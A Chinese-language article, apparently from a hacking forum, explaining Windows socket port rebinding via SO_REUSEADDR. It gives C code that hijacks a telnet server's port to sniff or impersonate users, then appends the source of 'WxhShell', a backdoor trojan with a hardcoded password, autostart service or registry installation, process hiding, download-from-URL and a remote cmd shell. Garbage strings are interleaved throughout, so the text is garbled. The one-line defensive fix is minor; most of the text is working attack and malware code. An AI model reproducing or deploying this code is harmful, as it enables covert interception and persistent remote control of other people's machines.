在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
v2B0q4*BS? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,.kha8v CIb2J)qev saddr.sin_family = AF_INET;
ti
I.W >8k_n saddr.sin_addr.s_addr = htonl(INADDR_ANY);
GBRa.;Kk f@Zszt bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Q36qIq_0e .^h#_[dp 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
U56G. D;;!ODX$? 这意味着什么?意味着可以进行如下的攻击:
gBC@38|6) 9%B\/&f 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0:9.;x9_ @GdbTd 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
xlA$:M& vUohtS* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3NqN\5B: dwDcR,z?a 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
u*Pibgd< J|~MC7#@q 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_V7r1fY: umt.Um.m2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
YVHm{A1b0 j$?{\iXZ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
C-\S/yd AlAY iUw{ #include
vb<oi&X #include
Y8-86 *zC #include
f;W|\z' #include
LR".pH13 DWORD WINAPI ClientThread(LPVOID lpParam);
}a/x._[s int main()
J&.{7YF {
L.S;J[a; WORD wVersionRequested;
" @v <Bk DWORD ret;
p<,*3huj WSADATA wsaData;
/5Oa,NS7 BOOL val;
1*9U1\z SOCKADDR_IN saddr;
ki?S~'a SOCKADDR_IN scaddr;
d$ x"/A]< int err;
L?WFmn SOCKET s;
gG*X^Uo SOCKET sc;
$5ak_@AC int caddsize;
P)Rh=U HANDLE mt;
)qo {c1X DWORD tid;
d@XV:ae wVersionRequested = MAKEWORD( 2, 2 );
+n{#V;J err = WSAStartup( wVersionRequested, &wsaData );
.QZaGw=,z if ( err != 0 ) {
+
HK8jCa printf("error!WSAStartup failed!\n");
i36eBjT return -1;
`w.n]TR }
_"bHe/'CI saddr.sin_family = AF_INET;
JM x>][xD pe] A5\4c //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
n1ly
y0%u G9xmmc saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
eZIhEOF saddr.sin_port = htons(23);
AiEd!u. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~Y|*`C_) {
GP?M!C,/}k printf("error!socket failed!\n");
DU5c=rxW return -1;
[AYOYENp- }
`*_mP<Ag val = TRUE;
[lWQ'DZ //SO_REUSEADDR选项就是可以实现端口重绑定的
2+QY hdw if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
i rU 6D {
WvBc#s- printf("error!setsockopt failed!\n");
+nXK-g;)' return -1;
c:<005\Bg }
WST8SEzJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"B3N*R([" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
JBE!j-F //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
M>~Drul UNom- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Ta(Y:*Ri {
S-
pV_Ff ret=GetLastError();
K/i*w<aPb7 printf("error!bind failed!\n");
&PYK8}pBk3 return -1;
NG "C&v }
D~hg$XzK listen(s,2);
6kpg+{; while(1)
*AO,^R&e. {
'EbWFMjy caddsize = sizeof(scaddr);
3RYpJAH //接受连接请求
u%}nw :> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
p"n$!ilbm if(sc!=INVALID_SOCKET)
fGUE<l {
=t9\^RIx)? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Cs9.&Y if(mt==NULL)
/fZeWU0W {
jcuB printf("Thread Creat Failed!\n");
k5:G-BQ: break;
9
Vkb>yFX' }
'p>Ra/4 }
mZSD( CloseHandle(mt);
sf)EMh3Z }
L ^q""[ closesocket(s);
=G7m)! WSACleanup();
cq}EZ@ . return 0;
}uJu>'1[G }
}+.}J DWORD WINAPI ClientThread(LPVOID lpParam)
[x+FcXb {
K@I
D/]PF SOCKET ss = (SOCKET)lpParam;
#$18*?tLv| SOCKET sc;
B*
?]H*K unsigned char buf[4096];
DJ'zz&K SOCKADDR_IN saddr;
coW:DFX long num;
Fq|Ni$ DWORD val;
B:'J`M"N DWORD ret;
41`n1:-] //如果是隐藏端口应用的话,可以在此处加一些判断
ZCmgs4W! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
LAB=Vp1y3[ saddr.sin_family = AF_INET;
,?>s>bHV saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
iiT"5`KY saddr.sin_port = htons(23);
>/l? g5{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
* @ 3Ag( {
K#6P}tf printf("error!socket failed!\n");
em,u(#)& return -1;
"i y }
fmU { val = 100;
8(pp2r lR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
a1EOJ^}0 {
&"yx<&c} ret = GetLastError();
t;W0"ci9 return -1;
\.MR""@y`{ }
`[f*Zv w if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
39:bzUIF {
PVe
xa|aaX ret = GetLastError();
@.$| w>>T return -1;
;_c;0) }
]Lf{Jboo if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
e?0l" {
>3p\m printf("error!socket connect failed!\n");
[k.t WA,& closesocket(sc);
ZP@
$Q%up closesocket(ss);
>0/i[k-dk return -1;
cG[l!Z }
.~~nUu+M while(1)
8&GBV_`I {
4{y)TZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
!%CWZZ 6u //如果是嗅探内容的话,可以再此处进行内容分析和记录
e7^mmm //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
~xkeuU num = recv(ss,buf,4096,0);
J1( 9QN[w if(num>0)
S0zD"T send(sc,buf,num,0);
]~9tYn else if(num==0)
ZGexdc% break;
(?n=33}Ci num = recv(sc,buf,4096,0);
8EW_V$>R if(num>0)
ck:T,F{} send(ss,buf,num,0);
`, OG7hg else if(num==0)
@5N]ZQ9 break;
smlpD3?va }
BF\XEm?! closesocket(ss);
J l(&!?j closesocket(sc);
LInz<bc<( return 0 ;
YWe{juXSw }
&5\iM^ dG@%jD) C[ NSkr ==========================================================
Lt u'W22 e|)hG8FlF 下边附上一个代码,,WXhSHELL
CyJEY- NP0\i1P>.? ==========================================================
T$>WE= Y 9]k @Q_ #include "stdafx.h"
}JF13beU 3
}duG/ #include <stdio.h>
[$mHv,~ #include <string.h>
/KFfU1 #include <windows.h>
*:Y%HAy* #include <winsock2.h>
RSfQNc9Z #include <winsvc.h>
<^VJy5> #include <urlmon.h>
[)H&'5 +F ,|3MG",@@h #pragma comment (lib, "Ws2_32.lib")
D9<!mH #pragma comment (lib, "urlmon.lib")
N4v~;;@(
NSxoF3 #define MAX_USER 100 // 最大客户端连接数
n`#tKwWHYx #define BUF_SOCK 200 // sock buffer
H=<S 9M #define KEY_BUFF 255 // 输入 buffer
,vr? 2k HJ9Kz^TnC #define REBOOT 0 // 重启
RiDJ> 6S #define SHUTDOWN 1 // 关机
_dqzB$JV QA<
Rhv, #define DEF_PORT 5000 // 监听端口
Z/W:97M =#;3Q~:Jl^ #define REG_LEN 16 // 注册表键长度
\K5DOM "# #define SVC_LEN 80 // NT服务名长度
8L,5Q9
$ MV5 _L3M // 从dll定义API
)F}F_Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Lb!Fcf|h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
X$HIVxyq2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
MX$0Op typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!=pn77`g> C].iCxn // wxhshell配置信息
3DzMB?I struct WSCFG {
1#C4;3i, int ws_port; // 监听端口
b,5~b&<h char ws_passstr[REG_LEN]; // 口令
.8@$\ZRP int ws_autoins; // 安装标记, 1=yes 0=no
x6Bu F_. char ws_regname[REG_LEN]; // 注册表键名
YJ^]
u} char ws_svcname[REG_LEN]; // 服务名
bfFeBBi char ws_svcdisp[SVC_LEN]; // 服务显示名
zZ7;jyD char ws_svcdesc[SVC_LEN]; // 服务描述信息
aT{_0m$G10 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
v|gw9 int ws_downexe; // 下载执行标记, 1=yes 0=no
*F+KqZ.2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
g,Lq)'N;O char ws_filenam[SVC_LEN]; // 下载后保存的文件名
P2NQHX
eX?OYDDC0j };
Tl%`P_J)-S 02f~En}>6 // default Wxhshell configuration
4QH3fTv
struct WSCFG wscfg={DEF_PORT,
;!=G "xuhuanlingzhe",
,$@bE 1,
6@Y_*4$| "Wxhshell",
VF&(8X\ "Wxhshell",
Dl<bnx;0 "WxhShell Service",
@D.}\( "Wrsky Windows CmdShell Service",
tWJZoD6}h "Please Input Your Password: ",
2POXj!N 1,
44gPCW,u "
http://www.wrsky.com/wxhshell.exe",
v:f}XK< "Wxhshell.exe"
]%hn`ZJ };
u7Y
WnD .t{MIC // 消息定义模块
O[\iE5+$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
|WQBDB`W char *msg_ws_prompt="\n\r? for help\n\r#>";
]q;Emy char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
18|m)(W char *msg_ws_ext="\n\rExit.";
'<jyw char *msg_ws_end="\n\rQuit.";
u#Pa7_zBj] char *msg_ws_boot="\n\rReboot...";
#pT"BSz] char *msg_ws_poff="\n\rShutdown...";
Vrjc~>X char *msg_ws_down="\n\rSave to ";
-c_74c50 viW!,QQ(S char *msg_ws_err="\n\rErr!";
]}Mj)J" m char *msg_ws_ok="\n\rOK!";
US+Q~GTA {}>0e:51 char ExeFile[MAX_PATH];
f~t:L,\, int nUser = 0;
NvD7Krqwa HANDLE handles[MAX_USER];
Qk0R a_ int OsIsNt;
spGb!Y`mR 1A?W:'N SERVICE_STATUS serviceStatus;
mf
A{3 SERVICE_STATUS_HANDLE hServiceStatusHandle;
3]OE}[R Y4OPEo 5o // 函数声明
e{h<g>7 int Install(void);
rDD:7*z int Uninstall(void);
")_|69 VX int DownloadFile(char *sURL, SOCKET wsh);
Hu^1[# int Boot(int flag);
ls?~+\Jb void HideProc(void);
3oBtP<yG. int GetOsVer(void);
bh s5x int Wxhshell(SOCKET wsl);
:I"2V void TalkWithClient(void *cs);
*!4Z#Y int CmdShell(SOCKET sock);
rK@8/?y5 int StartFromService(void);
i#&z2h-b int StartWxhshell(LPSTR lpCmdLine);
>] qc-{>& &)YQv Tzs VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
O#n8=B4 VOID WINAPI NTServiceHandler( DWORD fdwControl );
Hta y-PB } jk"`Z<j~ // 数据结构和表定义
45=bGf# SERVICE_TABLE_ENTRY DispatchTable[] =
Qn^' {
dl.N.P7}4 {wscfg.ws_svcname, NTServiceMain},
dah[:rP,n{ {NULL, NULL}
b1?#81 };
Kc!}`Pm }wWKFX // 自我安装
?# Mr int Install(void)
8/DS:uM {
ucuSe!IcX char svExeFile[MAX_PATH];
:lX!\(E2 HKEY key;
H;D>|q strcpy(svExeFile,ExeFile);
heltgRt @v$Y7mw3D // 如果是win9x系统,修改注册表设为自启动
bo<~jb{ if(!OsIsNt) {
q?,).x
nN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
kJWn<5%ayg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
K}2Erm%A@y RegCloseKey(key);
(ScxLf=] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hMzs*gK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/Y*WBTV' RegCloseKey(key);
7@#>bE6 return 0;
tN[L@t9#cr }
_geWE0
E }
#m lS}~n }
"MxnFeLM# else {
Okgv!Nt8)A w _u\p a // 如果是NT以上系统,安装为系统服务
rJd,Rdt. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
NnO~dRx{ if (schSCManager!=0)
zqd@EF6/bz {
LU+3{O5y SC_HANDLE schService = CreateService
t^VwR=i (
rjl`&POqc schSCManager,
he#J|p wscfg.ws_svcname,
ImCe K wscfg.ws_svcdisp,
iy6On,UL SERVICE_ALL_ACCESS,
-Btk 3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
2;xIL] SERVICE_AUTO_START,
+_7*iJtD5 SERVICE_ERROR_NORMAL,
~)*,S^k(C. svExeFile,
+O'3|M NULL,
{Z{75} NULL,
TH)"wNa NULL,
cD@(/$wt NULL,
.=U#eHBdAQ NULL
-T!f,g3vW );
MU>k,:[ if (schService!=0)
::o lN {
<
|e,05aM CloseServiceHandle(schService);
p$SX CloseServiceHandle(schSCManager);
T _M!<J strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
$v,dz_O*\ strcat(svExeFile,wscfg.ws_svcname);
yH7F''O7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
-VZ-<\uH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
c~6>1w7SZ4 RegCloseKey(key);
nv ca."5 y return 0;
-HQQw$ }
z,|r*\dw }
TPVVck-T8 CloseServiceHandle(schSCManager);
B!
rTD5a }
[vge56h }
U
-Y03 ,/[6e\0~ return 1;
|b[+I?X }
L9-h;] x! !P ~_Dl2d // 自我卸载
EQ2#/> int Uninstall(void)
g$n7CXoT {
^F>cp
,x HKEY key;
Xsa2(- aF8fqu\ if(!OsIsNt) {
k $M]3}$U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Yj%U
>),8 RegDeleteValue(key,wscfg.ws_regname);
n-5W*zk1 RegCloseKey(key);
'AzDP;6qFI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y_}mYvJW RegDeleteValue(key,wscfg.ws_regname);
KN$}tCU RegCloseKey(key);
`/_o!(Z` return 0;
)S`jFQ1 }
ktI/3Mb@ }
^L0d/,ik }
)iq-yjO6 else {
X7[^s
$VK :iFIQpk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
^
K|;~}P if (schSCManager!=0)
%R1 tJ( / {
L Y6;.d$J SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
XXbqQhf if (schService!=0)
ag$Vgl {
Z:ni$7<. if(DeleteService(schService)!=0) {
1[kMOp CloseServiceHandle(schService);
-r#X~2tPzD CloseServiceHandle(schSCManager);
whonDG4WP return 0;
@vpf[j }
M@h|bN CloseServiceHandle(schService);
CQwL|$)]Y }
(E/lIou CloseServiceHandle(schSCManager);
Fd?"- }
17D"cP }
!) S
?m ~n[d4qV& return 1;
x2@U.r"zo }
0_k'.5l% &GNxo$CG // 从指定url下载文件
v4?x.I int DownloadFile(char *sURL, SOCKET wsh)
}
$uxJB {
Mb"J@5P[4 HRESULT hr;
aqYa{hXio char seps[]= "/";
";BlIovT=R char *token;
9V,!R{kO! char *file;
:*t"8;O[ char myURL[MAX_PATH];
BQBeo&n6 char myFILE[MAX_PATH];
R E}?5XHb :
m)
strcpy(myURL,sURL);
Ib|Rf;J~- token=strtok(myURL,seps);
bB
}$' while(token!=NULL)
>:zK?(qu,N {
:}r. file=token;
uqM yoIc token=strtok(NULL,seps);
f}Np/ }
vgD {qg@ Bt1p'g(V| GetCurrentDirectory(MAX_PATH,myFILE);
V<D.sd< strcat(myFILE, "\\");
/y A7%2 strcat(myFILE, file);
!E,A7s send(wsh,myFILE,strlen(myFILE),0);
KQ`qpX^d send(wsh,"...",3,0);
_8Z_`@0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
R-NS,i={ if(hr==S_OK)
Q9Uf.Lh2 return 0;
p(PMZVV` else
;=geHiQHA return 1;
I+Jm>XN L,SGT8lL }
d cLA1sN, %ThyOl@O // 系统电源模块
fq5_G~c= int Boot(int flag)
C|d\3S\( {
|X,|QC*7? HANDLE hToken;
/c"efnb! TOKEN_PRIVILEGES tkp;
Ob}?zl@ $"dR
SysB if(OsIsNt) {
4&xZ]QC)O5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
DVah LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
AgOp.~*Z~V tkp.PrivilegeCount = 1;
5~Cakd]> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
I#m-g-J AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Y7#-Fra0W if(flag==REBOOT) {
WX}xmtLs if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
uum;q-" return 0;
)'/|) }
umF
Z?a else {
\\{J'j>{f if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
6 `Aj%1 return 0;
fbWFLSm; }
lZyG)0t,g }
E Q4KV else {
&LF`
W if(flag==REBOOT) {
"]oO{'1X if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
AX?fuDLs return 0;
I8+~ &V} }
[cTe54n else {
%STliJ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
%|^OOU} return 0;
} X^|$ }
%{(x3\ *& }
hX`hs-*qM o;W`4S^ return 1;
\Y|~2Ls8tu }
'eo
KZX+ 4(Ov1a> // win9x进程隐藏模块
.!1S[ void HideProc(void)
G2]4n T {
Z|_K6v/c &;XAuDw4+i HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Eo\UAc if ( hKernel != NULL )
'" X_B0k {
KhCzD[tf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
TMs,j!w?I ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Mva3+T FreeLibrary(hKernel);
"Fy7K#n }
0O\SU"bP ZDD..j return;
WVmq% ,7 }
ddfs8\ 6ZKsz5:= // 获取操作系统版本
JJltPGT~Oa int GetOsVer(void)
:(a]V"(&Eq {
t~E<j+<2B OSVERSIONINFO winfo;
!
iptT(2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
e'*`.^ GetVersionEx(&winfo);
yz-,)GB6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
b
B x? return 1;
4Sm]>%F': else
!ALKSiSl return 0;
Yk'9U-.mc }
PzV@umC1#f d~/q"r 1" // 客户端句柄模块
JCPUM*g8 int Wxhshell(SOCKET wsl)
t^xTFn {
z-@=+4~ SOCKET wsh;
3I!?e!y3( struct sockaddr_in client;
^ K7ic,{ DWORD myID;
%.<H=!$ JOb*-q|y while(nUser<MAX_USER)
j:}J}P {
:}h>by= int nSize=sizeof(client);
rQOWLg!" wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4B4Z])$3 if(wsh==INVALID_SOCKET) return 1;
s0*0 'f L4b:F0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
) c/%
NiN if(handles[nUser]==0)
< -uc."6\ closesocket(wsh);
'Q
=7/dY3I else
$xOI 1|d nUser++;
9%iUG(DC }
`C_jP|[e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
tV_t6x_. Tx1vL return 0;
?E9D Xg }
c9\2YKo anj#@U;! // 关闭 socket
+vNZW@_$D void CloseIt(SOCKET wsh)
!" JfOu {
yMZHUd closesocket(wsh);
Ja]?&j nUser--;
Z1ALq5 ExitThread(0);
ui"3ak+F }
'DCFezdf3 5jgdbHog] // 客户端请求句柄
'=E3[0W void TalkWithClient(void *cs)
uk9g<<3T {
xy8#2 ~
^>417> SOCKET wsh=(SOCKET)cs;
Ku/~N# char pwd[SVC_LEN];
~XydQJ^* char cmd[KEY_BUFF];
9D 0dg( char chr[1];
-UZ@G~K int i,j;
]&ixhW 7QVuc!V while (nUser < MAX_USER) {
Uz608u R7s|`\ if(wscfg.ws_passstr) {
9A *?E if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
xZ S\#{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T je o*n^ //ZeroMemory(pwd,KEY_BUFF);
|;U}'|6 i=0;
#^4>U&? while(i<SVC_LEN) {
MW",r;l<aM #2lvfR| // 设置超时
fbzKO^Ub fd_set FdRead;
UpszCY4 struct timeval TimeOut;
R+kZLOE FD_ZERO(&FdRead);
qj3bt_F!x FD_SET(wsh,&FdRead);
d=4f`q0k TimeOut.tv_sec=8;
eF8aB?&" TimeOut.tv_usec=0;
z|DA
_dG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
8[`^(O#\E if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
+/~\b/ ].<sAmL^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#<tWYE pwd
=chr[0]; 3w<j:\i
if(chr[0]==0xd || chr[0]==0xa) { ,SJK
pwd=0; /n(bThDH
break;
i_E#cU
} _r?;lnWx@
i++; ]\D6;E8P-~
} QS=$#Gp
%.Tf u0M
// 如果是非法用户,关闭 socket {YKMQI^O/
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \9|]
} {Hp}F!X$
NBg>i7KQ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -t~B@%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ![P(B0Ct/
<Z_wDK/UR
while(1) { Hdq/E>u
U@v8H!p^i
ZeroMemory(cmd,KEY_BUFF); Y?vm%t`K
Fzld0p9=
// 自动支持客户端 telnet标准
]tdo&
j=0; uVuToMCp
while(j<KEY_BUFF) { -o!,,XYj .
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]}l+ !NV<
cmd[j]=chr[0]; 4QKE{0NE
if(chr[0]==0xa || chr[0]==0xd) { Er/5 ,
cmd[j]=0; M9 2~iM
break; Q@ ) rw0$
} -g[*wN8
j++; SAll9W4
} R&=GB\`:a
mZ5K hPvf8
// 下载文件 :5cu,&<Gv
if(strstr(cmd,"http://")) { @X6#$ex
send(wsh,msg_ws_down,strlen(msg_ws_down),0); +&N&D"9A
if(DownloadFile(cmd,wsh)) 2gD{Fgf@N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bc|x:#`C\{
else :56lzsWUE<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6pn@`UK
} N;ecT@Ug
else { <<2b2?aS`
{!g.255+
switch(cmd[0]) { V\M!]Nnxr
'y M:WcN
// 帮助 ^Lfn3.M
case '?': { U_{JM`JY
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ge
{4;,0=
break; U)w|GrxX
} 5G] #yb74
// 安装 RBD7mpd
case 'i': { >3
.ep},
if(Install()) K!:
,l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zHs
else ][5p.owJse
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8rG&CxI
break; ?jn6Op
} "0 PN
// 卸载 7}1Kafs
case 'r': { <K[Zl/7I
if(Uninstall()) &?g!}Ky \
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CG>2,pP,
else &N7:k+E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3F'dT[;
break; x>9EVa)
} +e]b,9.sR
// 显示 wxhshell 所在路径 +$=Wms-z
case 'p': { OYtus7q<
char svExeFile[MAX_PATH]; WZ6{(`;#m
strcpy(svExeFile,"\n\r"); Lr\ B
strcat(svExeFile,ExeFile); o>A%}YU
send(wsh,svExeFile,strlen(svExeFile),0); !g&B)0u]*
break; Y&Lk4
} WfbNar[
// 重启 W>|b98NPu
case 'b': { t02"v4_i
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l`%}
{3r9
if(Boot(REBOOT)) gcCYXPZp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x[>_I1TJ
else { k`~br249
closesocket(wsh); ~\}EROb<
ExitThread(0); Q
fyERa\rb
} c3!|h1h/v
break; ^$,kTU'=
} SyVbCj
// 关机 &?`&X=Q
case 'd': { i |^`gly
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :lQjy@J
if(Boot(SHUTDOWN)) .z>." `
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WAa1H60VkS
else { w@ylRq
closesocket(wsh); f$W}d0(F;
ExitThread(0); h8-tbHgpb
} )* nbEZm@
break; '*ICGKoT
} WblV`"~e
// 获取shell FC(cXPX}
case 's': { 'C>S yU
CmdShell(wsh); i8) :0
closesocket(wsh); D&m"~wI
ExitThread(0); >(ww6vk2
break; +}0*_VW
} eC`f8=V
// 退出 Jc?ssm\%
case 'x': { 8=o(nFJw
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +2o|#`)i
CloseIt(wsh); h> %JG'DV
break; # %y{mn
} x,c68Q)g
// 离开 `6sQlCOnF
case 'q': { aw"%B-N\
send(wsh,msg_ws_end,strlen(msg_ws_end),0); /aa;M*Qp
closesocket(wsh); q.QYn.CBZz
WSACleanup(); Iw|[*Nu-
exit(1); ZWW8Hr
break; 9qy 9
} }o:sx/=u_
} oNsx Fi:
} nJ})6/gK
cRr `r[t
// 提示信息 MNmQ%R4jRN
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9k^=m)yS'
} iC+H;s5<
} o5x^ "#
/0B?3&H
return; a&VJYAB
} OYp8r
fDHISJv
// shell模块句柄 wSyu^KDz
int CmdShell(SOCKET sock) qTMz6D!Q
{ ?8}jJw2H
STARTUPINFO si; p%
%Y^=z
ZeroMemory(&si,sizeof(si)); Qu\l$/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5o ^=~
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c qyh#uWe
PROCESS_INFORMATION ProcessInfo; [
=2In;
char cmdline[]="cmd"; 7Ej#7\TB]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L5uI31
return 0; x2wWp-Z
} '|?r&-5 h
=xet+;~ji
// 自身启动模式 Zs|sPatV<
int StartFromService(void) ,VsCRp
{ 13kb~'+&r
typedef struct z))[Lg
{ XJ?z{gXJ
DWORD ExitStatus; +`3ZH9
DWORD PebBaseAddress; -y*+G&
DWORD AffinityMask; (UT*T
